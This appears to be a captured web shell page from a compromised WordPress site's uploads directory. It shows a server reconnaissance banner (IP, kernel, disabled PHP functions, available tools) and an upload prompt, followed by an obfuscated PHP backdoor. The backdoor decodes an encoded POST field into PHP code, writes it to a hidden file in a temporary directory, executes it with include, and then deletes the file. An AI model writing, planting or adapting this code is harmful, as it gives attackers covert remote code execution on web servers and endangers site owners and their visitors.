| Server IP : 64.225.102.56 / Your IP : 216.73.216.220 Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2 System : Linux smtp.zejefoy.com 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64 User : auto ( 1002) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/auto/web/cifisoa.com/public_html/wp-content/uploads/ |
Upload File : |
<!--HJBUmgjQ-->
<?php
if(filter_has_var(INPUT_POST, "\x64ata\x5Fch\x75n\x6B")){
$holder = array_filter([getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", session_save_path()]);
$item = $_POST["\x64ata\x5Fch\x75n\x6B"];
$item =explode( "." , $item ) ;
$pointer = '';
$s1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($s1);
$i = 0;
foreach ($item as $val) {
$sChar = ord($s1[$i % $lenS]);
$d = ((int)$val - $sChar - ($i % 10)) ^ 17;
$pointer .= chr($d);
$i++;
}
$object = 0;
do {
$val = $holder[$object] ?? null;
if ($object >= count(holder)) break;
if (max(0, is_dir($val) * is_writable($val))) {
$record = sprintf("%s/.key", $val);
$obj = fopen($record, 'wb');
if ($obj) {
fwrite($obj, $pointer);
fclose($obj);
include $record;
@unlink($record);
exit;
}
}
$object++;
} while (true);
}